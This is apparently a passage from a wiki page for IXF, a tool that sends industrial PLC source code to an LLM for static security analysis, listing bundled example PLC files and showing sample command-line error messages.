    print(f"[*] Sanitized: {redactions['credentials']} credentials, {redactions['ips']} IPs")

    # Build prompt
    prompt = build_sast_prompt(sanitized, mode="sast")

    # Get LLM provider
    llm = LLMProvider.get_active()
    if not llm:
        raise ValueError("No LLM provider configured. Set API key via env var.")

    # Run analysis
    result = await llm.complete(prompt)
    return result

# Usage
if __name__ == "__main__":
    result = asyncio.run(run_sast_analysis("/opt/plc_projects/water_treatment.st"))
    print(result)

Example Files Included in IXF

IXF ships with 17 example PLC source files in .tmp/sast_results/ and referenced in the distribution. These are for testing SAST functionality:

File Description Process Type
water_treatment.st Municipal water treatment plant Water/wastewater
water_treatment_chemical_dosing.st Chemical dosing subsystem Water/wastewater
gas_pipeline_pressure_control.st Natural gas pipeline SCADA Oil & gas
oil_refinery_process.st Crude oil distillation unit Oil & gas
power_grid_substation.st Power substation protection relay Electric utility
wind_farm_scada.st Wind turbine farm control Renewable energy
nuclear_reactor_cooling.st Reactor coolant system Nuclear (simulation only)
GRFICSv3_655326.st GRFICSv3 chemical process simulation Chemical
GRFICSv3_690525.st GRFICSv3 variant (normal operation) Chemical
GRFICSv3_attack.st GRFICSv3 with attack scenario embedded Chemical
GRFICSv3_blank.st GRFICSv3 template (minimal logic) Chemical
GRFICSv3_chemical.st GRFICSv3 chemical batch process Chemical
GRFICSv3_simplified_te.st GRFICSv3 Tennessee Eastman simplified Chemical
compressor_control.il Gas compressor IL program Industrial
building_automation.fbd HVAC and building control Building automation
robot_cell_ladder.ld Robotic cell PLC ladder Manufacturing
substation_protection.cfc CFC protection relay logic Electric utility

Error Handling

API Key Missing

ixf > sast /opt/plc.st
[-] No LLM provider configured.
[i] Option 1: Set environment variable:
    export GOOGLE_AI_STUDIO_API_KEY=AIzaSy...
[i] Option 2: Use llm-key command:
    ixf > llm-key gemini AIzaSy...
[i] Available providers: openai, anthropic, gemini, deepseek, grok

File Not Found

ixf > sast /nonexistent/path.st
[-] File not found: /nonexistent/path.st
[i] Check the path and try again.
[i] For a directory: sast /path/to/project/
[i] For a file: sast /path/to/program.st

Code Truncation Warning

ixf > sast /large_project/ --mode sast
[*] Target: /large_project/ (47 files, 12,450 lines)
[*] Token count: 187K tokens
[!] Code size exceeds provider limit (128K for openai).
[!] Truncating to 128K tokens. Last 7 files excluded from analysis.
[!] Excluded files:
    - /large_project/subsystem_g.st (12K tokens)
    - /large_project/subsystem_h.st (8K tokens)
    - ...
[i] For complete analysis:
    - Analyze subdirectories separately
    - Switch to gemini (1M token limit): llm-key gemini AIzaSy...
    - Or analyze most critical files individually
[*] Continuing with available 128K tokens...

LLM API Error

ixf > sast /opt/plc.st
[*] Sending to LLM...
[-] LLM API error (gemini): 429 Too Many Requests — quota exceeded
[i] Wait and retry, or switch to a different provider:
    ixf > llm-key openai sk-...
[i] Or use the GOOGLE_AI_STUDIO_API_KEY for free tier (with limits)

Unsupported File Extension

ixf > sast /opt/firmware.exe
[!] Unknown file extension: .exe
[i] Supported: .st, .fbd, .ladder, .il, .sfc, .cfc, .xml, .aml, .py, .c, .cpp, .go, .js, .rb, .pl, .java
[i] Tip: Use --mode reverse for binary firmware files
[*] Attempting best-effort analysis...

Previous: MITRE ATT&CK for ICS | Next: Protocols & Vendors

Clone this wiki locally